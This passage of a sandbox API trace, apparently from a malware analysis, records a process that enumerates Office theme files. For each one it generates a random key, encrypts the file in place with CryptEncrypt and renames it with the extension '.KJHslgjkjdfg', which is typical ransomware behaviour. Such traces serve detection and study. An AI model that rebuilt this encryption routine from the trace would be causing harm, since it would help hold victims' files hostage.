lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.937] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0173.937] GetProcessHeap () returned 0x2ef0000 [0173.937] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0173.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.937] GetProcessHeap () returned 0x2ef0000 [0173.937] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.937] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.937] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.937] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0173.940] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.940] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.940] GetProcessHeap () returned 0x2ef0000 [0173.940] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.940] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.940] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.940] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.940] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.940] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.940] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.940] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.941] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.941] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.941] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.941] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xc649, lpOverlapped=0x0) returned 1 [0173.942] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xc650, dwBufLen=0xc650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xc650) returned 1 [0173.943] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.943] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc650, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xc650, lpOverlapped=0x0) returned 1 [0173.943] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.943] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.943] SetEndOfFile (hFile=0x12c) returned 1 [0173.946] GetProcessHeap () returned 0x2ef0000 [0173.946] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.946] GetProcessHeap () returned 0x2ef0000 [0173.946] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.kjhslgjkjdfg")) returned 1 [0173.948] CloseHandle (hObject=0x12c) returned 1 [0173.948] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0173.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.950] GetProcessHeap () returned 0x2ef0000 [0173.951] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.951] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.951] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.951] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0173.953] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.953] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.953] GetProcessHeap () returned 0x2ef0000 [0173.953] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.953] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.953] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.953] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.953] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.953] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.953] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.953] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.954] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.954] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.954] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.954] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.954] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x249, lpOverlapped=0x0) returned 1 [0173.954] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250) returned 1 [0173.954] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.954] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x250, lpOverlapped=0x0) returned 1 [0173.954] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.954] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.954] SetEndOfFile (hFile=0x12c) returned 1 [0173.957] GetProcessHeap () returned 0x2ef0000 [0173.957] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.957] GetProcessHeap () returned 0x2ef0000 [0173.957] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.kjhslgjkjdfg")) returned 1 [0173.969] CloseHandle (hObject=0x12c) returned 1 [0173.970] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.970] GetProcessHeap () returned 0x2ef0000 [0173.970] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.970] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.970] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.970] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0173.973] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.973] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.973] GetProcessHeap () returned 0x2ef0000 [0173.973] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.973] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.973] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.974] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.974] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.974] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.974] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.974] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.974] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.974] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.974] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.974] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.974] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x554, lpOverlapped=0x0) returned 1 [0173.974] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x560, dwBufLen=0x560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x560) returned 1 [0173.975] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.975] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x560, lpOverlapped=0x0) returned 1 [0173.975] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.975] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.975] SetEndOfFile (hFile=0x12c) returned 1 [0173.977] GetProcessHeap () returned 0x2ef0000 [0173.978] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.978] GetProcessHeap () returned 0x2ef0000 [0173.978] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.982] CloseHandle (hObject=0x12c) returned 1 [0173.982] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.983] GetProcessHeap () returned 0x2ef0000 [0173.983] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.983] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.983] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.983] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0174.021] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.021] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.021] GetProcessHeap () returned 0x2ef0000 [0174.021] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.021] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.021] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.021] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.022] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.022] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.022] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.022] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.022] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.022] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.022] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.022] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2d35, lpOverlapped=0x0) returned 1 [0174.060] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2d40) returned 1 [0174.060] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.060] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2d40, lpOverlapped=0x0) returned 1 [0174.060] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.060] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.060] SetEndOfFile (hFile=0x12c) returned 1 [0174.063] GetProcessHeap () returned 0x2ef0000 [0174.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.063] GetProcessHeap () returned 0x2ef0000 [0174.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0174.067] CloseHandle (hObject=0x12c) returned 1 [0174.067] 